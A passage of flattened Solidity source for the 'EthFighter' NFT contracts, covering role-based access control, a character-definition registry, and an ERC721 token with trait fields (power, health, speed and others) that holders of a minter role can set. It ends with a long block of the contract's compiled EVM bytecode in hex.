_setupRole(MINTER_ROLE, _address); } function revokeMinterRole(address _address) public { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "AccessControl: sender must be an admin to revoke role"); revokeRole(MINTER_ROLE, _address); } } // File: contracts/EthFighterCharacterDefinitionRegistry.sol pragma solidity 0.6.11; contract EthFighterCharacterDefinitionRegistry { event CharacterDefinitionSet( uint256 characterTypeId ); struct CharacterDefinition { uint8 skin; uint8 power; uint8 health; uint8 mobility; uint8 techniques; uint8 range; uint8 speed; uint8 extras; } mapping(uint256 => CharacterDefinition) public characterDefinitions; EthFighterAccessControls public accessControls; constructor(EthFighterAccessControls _accessControls) public { accessControls = _accessControls; } function setCharacterDefinition( uint256 _characterTypeId, uint8 _skin, uint8 _power, uint8 _health, uint8 _mobility, uint8 _techniques, uint8 _range, uint8 _speed, uint8 _extras ) external { require(accessControls.hasAdminRole(msg.sender), "EthFighterCharacterDefinitionRegistry.setCharacterDefinition: Sender is not admin"); characterDefinitions[_characterTypeId] = CharacterDefinition({ skin : _skin, power : _power, health : _health, mobility : _mobility, techniques : _techniques, range : _range, speed : _speed, extras : _extras }); emit CharacterDefinitionSet(_characterTypeId); } function getCharacterDefinition(uint256 _characterTypeId) external view returns ( uint8 _skin, uint8 _power, uint8 _health, uint8 _mobility, uint8 _techniques, uint8 _range, uint8 _speed, uint8 _extras ) { CharacterDefinition memory characterDefinition = characterDefinitions[_characterTypeId]; return ( characterDefinition.skin, characterDefinition.power, characterDefinition.health, characterDefinition.mobility, characterDefinition.techniques, characterDefinition.range, characterDefinition.speed, characterDefinition.extras ); } } // File: contracts/EthFighterToken.sol pragma solidity ^0.6.0; contract EthFighterToken is ERC721 { EthFighterAccessControls public accessControls; EthFighterCharacterDefinitionRegistry public characterDefinitionRegistry; uint256 public tokenPointer = 0; struct CharacterConfig { uint256 characterTypeId; uint8 skin; uint8 power; uint8 health; uint8 mobility; uint8 techniques; uint8 range; uint8 speed; uint8 extras; } mapping(uint256 => CharacterConfig) public tokenCharacterConfig; mapping(uint256 => uint256) public characterTypeMintCount; constructor (EthFighterAccessControls _accessControls, string memory _tokenBaseUri, EthFighterCharacterDefinitionRegistry _characterDefinitionRegistry) ERC721("ETHFighter", "ETHF") public { accessControls = _accessControls; characterDefinitionRegistry = _characterDefinitionRegistry; _setBaseURI(_tokenBaseUri); } //////////////////// // Action methods // //////////////////// function mintDefault(address _to, uint256 _characterTypeId) external returns (uint256) { ( uint8 _skin, uint8 _power, uint8 _health, uint8 _mobility, uint8 _techniques, uint8 _range, uint8 _speed, uint8 _extras ) = characterDefinitionRegistry.getCharacterDefinition(_characterTypeId); return mint( _to, _characterTypeId, _skin, _power, _health, _mobility, _techniques, _range, _speed, _extras ); } function mint( address _to, uint256 _characterTypeId, uint8 _skin, uint8 _power, uint8 _health, uint8 _mobility, uint8 _techniques, uint8 _range, uint8 _speed, uint8 _extras ) public returns (uint256) { require(accessControls.hasMinterRole(_msgSender()), "EthFighterToken.mint: MinterRole: caller is not a whitelisted."); tokenPointer = tokenPointer.add(1); uint256 tokenId = tokenPointer; _safeMint(_to, tokenId); tokenCharacterConfig[tokenPointer] = CharacterConfig({ characterTypeId : _characterTypeId, skin : _skin, power : _power, health : _health, mobility : _mobility, techniques : _techniques, range : _range, speed : _speed, extras : _extras }); characterTypeMintCount[_characterTypeId] = characterTypeMintCount[_characterTypeId].add(1); return tokenId; } function burn(uint256 _tokenId) public { require(_exists(_tokenId), "Burn: token does not exist."); require(ownerOf(_tokenId) == _msgSender(), "Burn: caller is not token owner."); _burn(_tokenId); } /////////////////// // Query methods // /////////////////// function exists(uint256 _tokenId) external view returns (bool) { return _exists(_tokenId); } function isApprovedOrOwner(address _spender, uint256 _tokenId) external view returns (bool) { return _isApprovedOrOwner(_spender, _tokenId); } function tokenDetails(uint256 _tokenId) public view returns ( address _owner, uint256 _characterTypeId, uint8 _skin, uint8 _power, uint8 _health, uint8 _mobility, uint8 _techniques, uint8 _range, uint8 _speed, uint8 _extras ) { require(_exists(_tokenId), "Details: token does not exist."); CharacterConfig memory config = tokenCharacterConfig[_tokenId]; return ( ownerOf(_tokenId), config.characterTypeId, config.skin, config.power, config.health, config.mobility, config.techniques, config.range, config.speed, config.extras ); } ///////////// // Setters // ///////////// function setCharacterType(uint256 _tokenId, uint256 _characterTypeId) external { require(accessControls.hasMinterRole(_msgSender()), "TraitChange: caller is not a whitelisted."); tokenCharacterConfig[_tokenId].characterTypeId = _characterTypeId; } function setCharacterSkin(uint256 _tokenId, uint8 _skin) external { require(accessControls.hasMinterRole(_msgSender()), "TraitChange: caller is not a whitelisted."); tokenCharacterConfig[_tokenId].skin = _skin; } function setCharacterPower(uint256 _tokenId, uint8 _power) external { require(accessControls.hasMinterRole(_msgSender()), "TraitChange: caller is not a whitelisted."); tokenCharacterConfig[_tokenId].power = _power; } function setCharacterHealth(uint256 _tokenId, uint8 _health) external { require(accessControls.hasMinterRole(_msgSender()), "TraitChange: caller is not a whitelisted."); tokenCharacterConfig[_tokenId].health = _health; } function setCharacterMobility(uint256 _tokenId, uint8 _mobility) external { require(accessControls.hasMinterRole(_msgSender()), "TraitChange: caller is not a whitelisted."); tokenCharacterConfig[_tokenId].mobility = _mobility; } function setCharacterTechniques(uint256 _tokenId, uint8 _techniques) external { require(accessControls.hasMinterRole(_msgSender()), "TraitChange: caller is not a whitelisted."); tokenCharacterConfig[_tokenId].techniques = _techniques; } function setCharacterRange(uint256 _tokenId, uint8 _range) external { require(accessControls.hasMinterRole(_msgSender()), "TraitChange: caller is not a whitelisted."); tokenCharacterConfig[_tokenId].range = _range; } function setCharacterSpeed(uint256 _tokenId, uint8 _speed) external { require(accessControls.hasMinterRole(_msgSender()), "TraitChange: caller is not a whitelisted."); tokenCharacterConfig[_tokenId].speed = _speed; } function setCharacterExtras(uint256 _tokenId, uint8 _extras) external { require(accessControls.hasMinterRole(_msgSender()), "TraitChange: caller is not a whitelisted."); tokenCharacterConfig[_tokenId].extras = _extras; } function setCharacterMakeup(uint256 _tokenId, uint8 _skin, uint8 _power, uint8 _health, uint8 _mobility, uint8 _techniques, uint8 _range, uint8 _speed, uint8 _extras) external { require(accessControls.hasMinterRole(_msgSender()), "TraitChange: caller is not a whitelisted."); CharacterConfig storage config = tokenCharacterConfig[_tokenId]; config.skin = _skin; config.power = _power; config.health = _health; config.mobility = _mobility; config.techniques = _techniques; config.range = _range; config.speed = _speed; config.extras = _extras; } function setTokenURI(uint256 _tokenId, string calldata _uri) external { require(accessControls.hasAdminRole(_msgSender()), "AdminRole: caller is not a admin."); _setTokenURI(_tokenId, _uri); } function setBaseURI(string calldata _baseURI) external { require(accessControls.hasAdminRole(_msgSender()), "AdminRole: caller is not a admin."); _setBaseURI(_baseURI); } function _beforeTokenTransfer(address _from, address _to, uint256 _tokenId) internal virtual override(ERC721) { super._beforeTokenTransfer(_from, _to, _tokenId); } }
0x608060405234801561001057600080fd5b50600436106102c85760003560e01c80635ab9bfbe1161017b5780637d36d39c116100d8578063c87b56dd1161008c578063e985e9c511610071578063e985e9c514610a52578063f932871614610a80578063fc314e3114610aa6576102c8565b8063c87b56dd14610a0f578063cbc9ff6f14610a2c576102c8565b80639863d6d2116100bd5780639863d6d2146108ef578063a22cb4651461091b578063b88d4fde14610949576102c8565b80637d36d39c1461087757806395d89b41146108e7576102c8565b80636b4034d61161012f57806370a082311161011457806370a08231146107e9578063748365ef1461080f57806379c29f6d14610817576102c8565b80636b4034d6146107d95780636c0360eb146107e1576102c8565b80636352211e116101605780636352211e14610770578063680691a01461078d57806368d29b69146107b3576102c8565b80635ab9bfbe1461072d5780636033ef5814610753576102c8565b806323b872dd116102295780634ded3edd116101dd5780634f6ccce7116101c25780634f6ccce71461063057806355f804b31461064d57806358a81c66146106bd576102c8565b80634ded3edd146105f05780634f558e7914610613576102c8565b806342842e0e1161020e57806342842e0e1461057157806342966c68146105a7578063430c2081146105c4576102c8565b806323b872dd1461050f5780632f745c5914610545576102c8565b8063095ea7b311610280578063162094c411610265578063162094c41461046a57806318160ddd146104e15780631cfa5663146104e9576102c8565b8063095ea7b3146104185780630e58ebde14610444576102c8565b806304b993b7116102b157806304b993b71461033a57806306fdde0314610362578063081812fc146103df576102c8565b806301ffc9a7146102cd5780630283165114610320575b600080fd5b61030c600480360360208110156102e357600080fd5b50357fffffffff0000000000000000000000000000000000000000000000000000000016610b26565b604080519115158252519081900360200190f35b610328610b61565b60408051918252519081900360200190f35b6103606004803603604081101561035057600080fd5b508035906020013560ff16610b67565b005b61036a610c61565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103a457818101518382015260200161038c565b50505050905090810190601f1680156103d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103fc600480360360208110156103f557600080fd5b5035610cf8565b604080516001600160a01b039092168252519081900360200190f35b6103606004803603604081101561042e57600080fd5b506001600160a01b038135169060200135610d5a565b6103606004803603604081101561045a57600080fd5b508035906020013560ff16610e35565b6103606004803603604081101561048057600080fd5b813591908101906040810160208201356401000000008111156104a257600080fd5b8201836020820111156104b457600080fd5b803590602001918460018302840111640100000000831117156104d657600080fd5b509092509050610f20565b610328611026565b610360600480360360408110156104ff57600080fd5b508035906020013560ff16611037565b6103606004803603606081101561052557600080fd5b506001600160a01b03813581169160208101359091169060400135611133565b6103286004803603604081101561055b57600080fd5b506001600160a01b03813516906020013561118a565b6103606004803603606081101561058757600080fd5b506001600160a01b038135811691602081013590911690604001356111bb565b610360600480360360208110156105bd57600080fd5b50356111d6565b61030c600480360360408110156105da57600080fd5b506001600160a01b0381351690602001356112b1565b6103606004803603604081101561060657600080fd5b50803590602001356112bd565b61030c6004803603602081101561062957600080fd5b5035611395565b6103286004803603602081101561064657600080fd5b50356113a0565b6103606004803603602081101561066357600080fd5b81019060208101813564010000000081111561067e57600080fd5b82018360208201111561069057600080fd5b803590602001918460018302840111640100000000831117156106b257600080fd5b5090925090506113bc565b6106da600480360360208110156106d357600080fd5b50356114c5565b60408051998a5260ff98891660208b0152968816898801529487166060890152928616608088015290851660a0870152841660c0860152831660e085015290911661010083015251908190036101200190f35b6103606004803603604081101561074357600080fd5b508035906020013560ff1661152f565b6103286004803603602081101561076957600080fd5b5035611627565b6103fc6004803603602081101561078657600080fd5b5035611639565b610360600480360360408110156107a357600080fd5b508035906020013560ff16611667565b610360600480360360408110156107c957600080fd5b508035906020013560ff1661175b565b6103fc611859565b61036a611868565b610328600480360360208110156107ff57600080fd5b50356001600160a01b03166118c9565b6103fc611931565b610360600480360361012081101561082e57600080fd5b5080359060ff602082013581169160408101358216916060820135811691608081013582169160a082013581169160c081013582169160e0820135811691610100013516611940565b610328600480360361014081101561088e57600080fd5b506001600160a01b038135169060208101359060ff60408201358116916060810135821691608082013581169160a081013582169160c082013581169160e0810135821691610100820135811691610120013516611b11565b61036a611dc6565b6103286004803603604081101561090557600080fd5b506001600160a01b038135169060200135611e27565b6103606004803603604081101561093157600080fd5b506001600160a01b0381351690602001351515611f16565b6103606004803603608081101561095f57600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561099a57600080fd5b8201836020820111156109ac57600080fd5b803590602001918460018302840111640100000000831117156109ce57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061201b945050505050565b61036a60048036036020811015610a2557600080fd5b5035612079565b61036060048036036040811015610a4257600080fd5b508035906020013560ff16612320565b61030c60048036036040811015610a6857600080fd5b506001600160a01b0381358116916020013516612412565b61036060048036036040811015610a9657600080fd5b508035906020013560ff16612440565b610ac360048036036020811015610abc57600080fd5b5035612536565b604080516001600160a01b03909b168b5260208b019990995260ff9788168a8a015295871660608a0152938616608089015291851660a0880152841660c0870152831660e086015282166101008501521661012083015251908190036101400190f35b7fffffffff00000000000000000000000000000000000000000000000000000000811660009081526020819052604090205460ff165b919050565b600c5481565b600a546001600160a01b031663099db017610b806126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610bc657600080fd5b505afa158015610bda573d6000803e3d6000fd5b505050506040513d6020811015610bf057600080fd5b5051610c2d5760405162461bcd60e51b81526004018080602001828103825260298152602001806137626029913960400191505060405180910390fd5b6000918252600d6020526040909120600101805460ff909216650100000000000265ff000000000019909216919091179055565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602001808311610cd057829003601f168201915b505050505090505b90565b6000610d03826126a5565b610d3e5760405162461bcd60e51b815260040180806020018281038252602c81526020018061393b602c913960400191505060405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610d6582611639565b9050806001600160a01b0316836001600160a01b03161415610db85760405162461bcd60e51b81526004018080602001828103825260218152602001806139eb6021913960400191505060405180910390fd5b806001600160a01b0316610dca6126a1565b6001600160a01b03161480610deb5750610deb81610de66126a1565b612412565b610e265760405162461bcd60e51b815260040180806020018281038252603881526020018061388e6038913960400191505060405180910390fd5b610e3083836126b8565b505050565b600a546001600160a01b031663099db017610e4e6126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610e9457600080fd5b505afa158015610ea8573d6000803e3d6000fd5b505050506040513d6020811015610ebe57600080fd5b5051610efb5760405162461bcd60e51b81526004018080602001828103825260298152602001806137626029913960400191505060405180910390fd5b6000918252600d6020526040909120600101805460ff191660ff909216919091179055565b600a546001600160a01b031663c395fcb3610f396126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610f7f57600080fd5b505afa158015610f93573d6000803e3d6000fd5b505050506040513d6020811015610fa957600080fd5b5051610fe65760405162461bcd60e51b81526004018080602001828103825260218152602001806138416021913960400191505060405180910390fd5b610e308383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061273e92505050565b600061103260026127a1565b905090565b600a546001600160a01b031663099db0176110506126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561109657600080fd5b505afa1580156110aa573d6000803e3d6000fd5b505050506040513d60208110156110c057600080fd5b50516110fd5760405162461bcd60e51b81526004018080602001828103825260298152602001806137626029913960400191505060405180910390fd5b6000918252600d6020526040909120600101805460ff90921666010000000000000266ff00000000000019909216919091179055565b61114461113e6126a1565b826127ac565b61117f5760405162461bcd60e51b8152600401808060200182810382526031815260200180613a0c6031913960400191505060405180910390fd5b610e30838383612850565b6001600160a01b03821660009081526001602052604081206111b2908363ffffffff6129ae16565b90505b92915050565b610e308383836040518060200160405280600081525061201b565b6111df816126a5565b611230576040805162461bcd60e51b815260206004820152601b60248201527f4275726e3a20746f6b656e20646f6573206e6f742065786973742e0000000000604482015290519081900360640190fd5b6112386126a1565b6001600160a01b031661124a82611639565b6001600160a01b0316146112a5576040805162461bcd60e51b815260206004820181905260248201527f4275726e3a2063616c6c6572206973206e6f7420746f6b656e206f776e65722e604482015290519081900360640190fd5b6112ae816129ba565b50565b60006111b283836127ac565b600a546001600160a01b031663099db0176112d66126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561131c57600080fd5b505afa158015611330573d6000803e3d6000fd5b505050506040513d602081101561134657600080fd5b50516113835760405162461bcd60e51b81526004018080602001828103825260298152602001806137626029913960400191505060405180910390fd5b6000918252600d602052604090912055565b60006111b5826126a5565b6000806113b460028463ffffffff612a9316565b509392505050565b600a546001600160a01b031663c395fcb36113d56126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561141b57600080fd5b505afa15801561142f573d6000803e3d6000fd5b505050506040513d602081101561144557600080fd5b50516114825760405162461bcd60e51b81526004018080602001828103825260218152602001806138416021913960400191505060405180910390fd5b6114c182828080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250612aaf92505050565b5050565b600d602052600090815260409020805460019091015460ff8082169161010081048216916201000082048116916301000000810482169164010000000082048116916501000000000081048216916601000000000000820481169167010000000000000090041689565b600a546001600160a01b031663099db0176115486126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561158e57600080fd5b505afa1580156115a2573d6000803e3d6000fd5b505050506040513d60208110156115b857600080fd5b50516115f55760405162461bcd60e51b81526004018080602001828103825260298152602001806137626029913960400191505060405180910390fd5b6000918252600d6020526040909120600101805460ff9092166401000000000264ff0000000019909216919091179055565b600e6020526000908152604090205481565b60006111b5826040518060600160405280602981526020016138f0602991396002919063ffffffff612ac216565b600a546001600160a01b031663099db0176116806126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156116c657600080fd5b505afa1580156116da573d6000803e3d6000fd5b505050506040513d60208110156116f057600080fd5b505161172d5760405162461bcd60e51b81526004018080602001828103825260298152602001806137626029913960400191505060405180910390fd5b6000918252600d6020526040909120600101805460ff909216620100000262ff000019909216919091179055565b600a546001600160a01b031663099db0176117746126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156117ba57600080fd5b505afa1580156117ce573d6000803e3d6000fd5b505050506040513d60208110156117e457600080fd5b50516118215760405162461bcd60e51b81526004018080602001828103825260298152602001806137626029913960400191505060405180910390fd5b6000918252600d6020526040909120600101805460ff9092166701000000000000000267ff0000000000000019909216919091179055565b600b546001600160a01b031681565b60098054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ced5780601f10610cc257610100808354040283529160200191610ced565b60006001600160a01b0382166119105760405162461bcd60e51b815260040180806020018281038252602a8152602001806138c6602a913960400191505060405180910390fd5b6001600160a01b03821660009081526001602052604090206111b5906127a1565b600a546001600160a01b031681565b600a546001600160a01b031663099db0176119596126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561199f57600080fd5b505afa1580156119b3573d6000803e3d6000fd5b505050506040513d60208110156119c957600080fd5b5051611a065760405162461bcd60e51b81526004018080602001828103825260298152602001806137626029913960400191505060405180910390fd5b6000600d60008b81526020019081526020016000209050888160010160006101000a81548160ff021916908360ff160217905550878160010160016101000a81548160ff021916908360ff160217905550868160010160026101000a81548160ff021916908360ff160217905550858160010160036101000a81548160ff021916908360ff160217905550848160010160046101000a81548160ff021916908360ff160217905550838160010160056101000a81548160ff021916908360ff160217905550828160010160066101000a81548160ff021916908360ff160217905550818160010160076101000a81548160ff021916908360ff16021790555050505050505050505050565b600a546000906001600160a01b031663099db017611b2d6126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611b7357600080fd5b505afa158015611b87573d6000803e3d6000fd5b505050506040513d6020811015611b9d57600080fd5b5051611bda5760405162461bcd60e51b815260040180806020018281038252603e8152602001806137df603e913960400191505060405180910390fd5b600c54611bee90600163ffffffff612ad916565b600c819055611bfd8c82612b33565b6040518061012001604052808c81526020018b60ff1681526020018a60ff1681526020018960ff1681526020018860ff1681526020018760ff1681526020018660ff1681526020018560ff1681526020018460ff16815250600d6000600c5481526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff021916908360ff16021790555060408201518160010160016101000a81548160ff021916908360ff16021790555060608201518160010160026101000a81548160ff021916908360ff16021790555060808201518160010160036101000a81548160ff021916908360ff16021790555060a08201518160010160046101000a81548160ff021916908360ff16021790555060c08201518160010160056101000a81548160ff021916908360ff16021790555060e08201518160010160066101000a81548160ff021916908360ff1602179055506101008201518160010160076101000a81548160ff021916908360ff160217905550905050611da76001600e60008e815260200190815260200160002054612ad990919063ffffffff16565b60008c8152600e602052604090205590509a9950505050505050505050565b60078054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ced5780601f10610cc257610100808354040283529160200191610ced565b6000806000806000806000806000600b60009054906101000a90046001600160a01b03166001600160a01b03166382a52b968b6040518263ffffffff1660e01b8152600401808281526020019150506101006040518083038186803b158015611e8f57600080fd5b505afa158015611ea3573d6000803e3d6000fd5b505050506040513d610100811015611eba57600080fd5b508051602082015160408301516060840151608085015160a086015160c087015160e090970151959e50939c50919a509850965094509092509050611f078b8b8a8a8a8a8a8a8a8a611b11565b9b9a5050505050505050505050565b611f1e6126a1565b6001600160a01b0316826001600160a01b03161415611f84576040805162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015290519081900360640190fd5b8060056000611f916126a1565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155611fd56126a1565b60408051841515815290516001600160a01b0392909216917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c319181900360200190a35050565b61202c6120266126a1565b836127ac565b6120675760405162461bcd60e51b8152600401808060200182810382526031815260200180613a0c6031913960400191505060405180910390fd5b61207384848484612b4d565b50505050565b6060612084826126a5565b6120bf5760405162461bcd60e51b815260040180806020018281038252602f8152602001806139bc602f913960400191505060405180910390fd5b60008281526008602090815260409182902080548351601f60026000196101006001861615020190931692909204918201849004840281018401909452808452606093928301828280156121545780601f1061212957610100808354040283529160200191612154565b820191906000526020600020905b81548152906001019060200180831161213757829003601f168201915b50506009549394505050506002600019610100600184161502019091160461217d579050610b5c565b80511561224e5760098160405160200180838054600181600116156101000203166002900480156121e55780601f106121c35761010080835404028352918201916121e5565b820191906000526020600020905b8154815290600101906020018083116121d1575b5050825160208401908083835b602083106122115780518252601f1990920191602091820191016121f2565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052915050610b5c565b600961225984612b9f565b60405160200180838054600181600116156101000203166002900480156122b75780601f106122955761010080835404028352918201916122b7565b820191906000526020600020905b8154815290600101906020018083116122a3575b5050825160208401908083835b602083106122e35780518252601f1990920191602091820191016122c4565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052915050919050565b600a546001600160a01b031663099db0176123396126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561237f57600080fd5b505afa158015612393573d6000803e3d6000fd5b505050506040513d60208110156123a957600080fd5b50516123e65760405162461bcd60e51b81526004018080602001828103825260298152602001806137626029913960400191505060405180910390fd5b6000918252600d6020526040909120600101805460ff9092166101000261ff0019909216919091179055565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b600a546001600160a01b031663099db0176124596126a1565b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561249f57600080fd5b505afa1580156124b3573d6000803e3d6000fd5b505050506040513d60208110156124c957600080fd5b50516125065760405162461bcd60e51b81526004018080602001828103825260298152602001806137626029913960400191505060405180910390fd5b6000918252600d6020526040909120600101805460ff90921663010000000263ff00000019909216919091179055565b60008060008060008060008060008061254e8b6126a5565b61259f576040805162461bcd60e51b815260206004820152601e60248201527f44657461696c733a20746f6b656e20646f6573206e6f742065786973742e0000604482015290519081900360640190fd5b6125a761363d565b5060008b8152600d60209081526040918290208251610120810184528154815260019091015460ff808216938301939093526101008082048416948301949094526201000081048316606083015263010000008104831660808301526401000000008104831660a0830152650100000000008104831660c083015266010000000000008104831660e08301526701000000000000009004909116918101919091526126518c611639565b816000015182602001518360400151846060015185608001518660a001518760c001518860e001518961010001519a509a509a509a509a509a509a509a509a509a50509193959799509193959799565b3390565b60006111b560028363ffffffff612cae16565b600081815260046020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038416908117909155819061270582611639565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b612747826126a5565b6127825760405162461bcd60e51b815260040180806020018281038252602c815260200180613967602c913960400191505060405180910390fd5b60008281526008602090815260409091208251610e3092840190613689565b60006111b582612cba565b60006127b7826126a5565b6127f25760405162461bcd60e51b815260040180806020018281038252602c815260200180613862602c913960400191505060405180910390fd5b60006127fd83611639565b9050806001600160a01b0316846001600160a01b031614806128385750836001600160a01b031661282d84610cf8565b6001600160a01b0316145b8061284857506128488185612412565b949350505050565b826001600160a01b031661286382611639565b6001600160a01b0316146128a85760405162461bcd60e51b81526004018080602001828103825260298152602001806139936029913960400191505060405180910390fd5b6001600160a01b0382166128ed5760405162461bcd60e51b815260040180806020018281038252602481526020018061381d6024913960400191505060405180910390fd5b6128f8838383612cbe565b6129036000826126b8565b6001600160a01b038316600090815260016020526040902061292b908263ffffffff612cc916565b506001600160a01b0382166000908152600160205260409020612954908263ffffffff612cd516565b506129676002828463ffffffff612ce116565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60006111b28383612cf7565b60006129c582611639565b90506129d381600084612cbe565b6129de6000836126b8565b6000828152600860205260409020546002600019610100600184161502019091160415612a1c576000828152600860205260408120612a1c91613707565b6001600160a01b0381166000908152600160205260409020612a44908363ffffffff612cc916565b50612a5660028363ffffffff612d5b16565b5060405182906000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6000808080612aa28686612d67565b9097909650945050505050565b80516114c1906009906020840190613689565b6000612acf848484612de2565b90505b9392505050565b6000828201838110156111b2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6114c1828260405180602001604052806000815250612eac565b612b58848484612850565b612b6484848484612efe565b6120735760405162461bcd60e51b81526004018080602001828103825260328152602001806137ad6032913960400191505060405180910390fd5b606081612be0575060408051808201909152600181527f30000000000000000000000000000000000000000000000000000000000000006020820152610b5c565b8160005b8115612bf857600101600a82049150612be4565b60608167ffffffffffffffff81118015612c1157600080fd5b506040519080825280601f01601f191660200182016040528015612c3c576020820181803683370190505b50859350905060001982015b8315612ca557600a840660300160f81b82828060019003935081518110612c6b57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a84049350612c48565b50949350505050565b60006111b283836130c0565b5490565b610e30838383610e30565b60006111b283836130d8565b60006111b2838361319e565b6000612acf84846001600160a01b0385166131e8565b81546000908210612d395760405162461bcd60e51b815260040180806020018281038252602281526020018061378b6022913960400191505060405180910390fd5b826000018281548110612d4857fe5b9060005260206000200154905092915050565b60006111b2838361327f565b815460009081908310612dab5760405162461bcd60e51b81526004018080602001828103825260228152602001806139196022913960400191505060405180910390fd5b6000846000018481548110612dbc57fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008281526001840160205260408120548281612e7d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612e42578181015183820152602001612e2a565b50505050905090810190601f168015612e6f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50846000016001820381548110612e9057fe5b9060005260206000209060020201600101549150509392505050565b612eb68383613353565b612ec36000848484612efe565b610e305760405162461bcd60e51b81526004018080602001828103825260328152602001806137ad6032913960400191505060405180910390fd5b6000612f12846001600160a01b031661348d565b612f1e57506001612848565b606061306e630a85bd0160e11b612f336126a1565b88878760405160240180856001600160a01b03166001600160a01b03168152602001846001600160a01b03166001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612fac578181015183820152602001612f94565b50505050905090810190601f168015612fd95780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518060600160405280603281526020016137ad603291396001600160a01b038816919063ffffffff6134c616565b9050600081806020019051602081101561308757600080fd5b50517fffffffff0000000000000000000000000000000000000000000000000000000016630a85bd0160e11b1492505050949350505050565b60009081526001919091016020526040902054151590565b60008181526001830160205260408120548015613194578354600019808301919081019060009087908390811061310b57fe5b906000526020600020015490508087600001848154811061312857fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061315857fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506111b5565b60009150506111b5565b60006131aa83836130c0565b6131e0575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556111b5565b5060006111b5565b60008281526001840160205260408120548061324d575050604080518082018252838152602080820184815286546001818101895560008981528481209551600290930290950191825591519082015586548684528188019092529290912055612ad2565b8285600001600183038154811061326057fe5b9060005260206000209060020201600101819055506000915050612ad2565b6000818152600183016020526040812054801561319457835460001980830191908101906000908790839081106132b257fe5b90600052602060002090600202019050808760000184815481106132d257fe5b60009182526020808320845460029093020191825560019384015491840191909155835482528983019052604090209084019055865487908061331157fe5b60008281526020808220600260001990940193840201828155600190810183905592909355888152898201909252604082209190915594506111b59350505050565b6001600160a01b0382166133ae576040805162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015290519081900360640190fd5b6133b7816126a5565b15613409576040805162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015290519081900360640190fd5b61341560008383612cbe565b6001600160a01b038216600090815260016020526040902061343d908263ffffffff612cd516565b506134506002828463ffffffff612ce116565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590612848575050151592915050565b6060612acf848460008560606134db8561348d565b61352c576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd